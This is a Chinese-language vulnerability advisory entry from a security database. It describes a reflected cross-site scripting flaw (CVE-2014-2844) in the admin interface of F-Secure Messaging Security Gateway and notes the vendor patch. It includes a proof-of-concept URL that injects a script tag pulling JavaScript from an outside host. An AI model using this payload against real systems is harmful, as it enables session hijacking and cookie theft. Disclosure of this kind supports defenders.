Lucene search
RootSSV:62229HistoryApr 21, 2014 - 12:00 a.m.
F-Secure Messaging Security Gateway 'new'参数跨站脚本漏洞
2014-04-2100:00:00
Root
www.seebug.org
17
0.001 Low
EPSS
Percentile
40.0%
Bugtraq ID:66959
CVE ID:CVE-2014-2844
F-Secure Messaging Security Gateway是一款消息安全网关解决方案。
F-Secure Messaging Security Gateway存在一个反射型跨站脚本漏洞，允许攻击者构建恶意URI，诱使用户解析，可获得敏感Cookie，劫持会话或在客户端上进行恶意操作。
0
F-Secure Messaging Security Gateway 7.5.0
F-Secure Messaging Security Gateway 7.5.0 Patch 1862版本已修复该漏洞，建议用户下载使用：
http://www.f-secure.com/en/web/labs_global/fsc-2014-2
https://IP_FSecure:10000/admin?module=SysUser&method=user&new=1><script
src=//10.0.1.120/f-secure/e.js
Related
cvelist
cvelist
CVE-2014-2844
2014-04-18 14:00:00
cve
cve
CVE-2014-2844
2014-04-18 14:55:25
prion
prion
Cross site scripting
2014-04-18 14:55:00
nvd
nvd
CVE-2014-2844
2014-04-18 14:55:25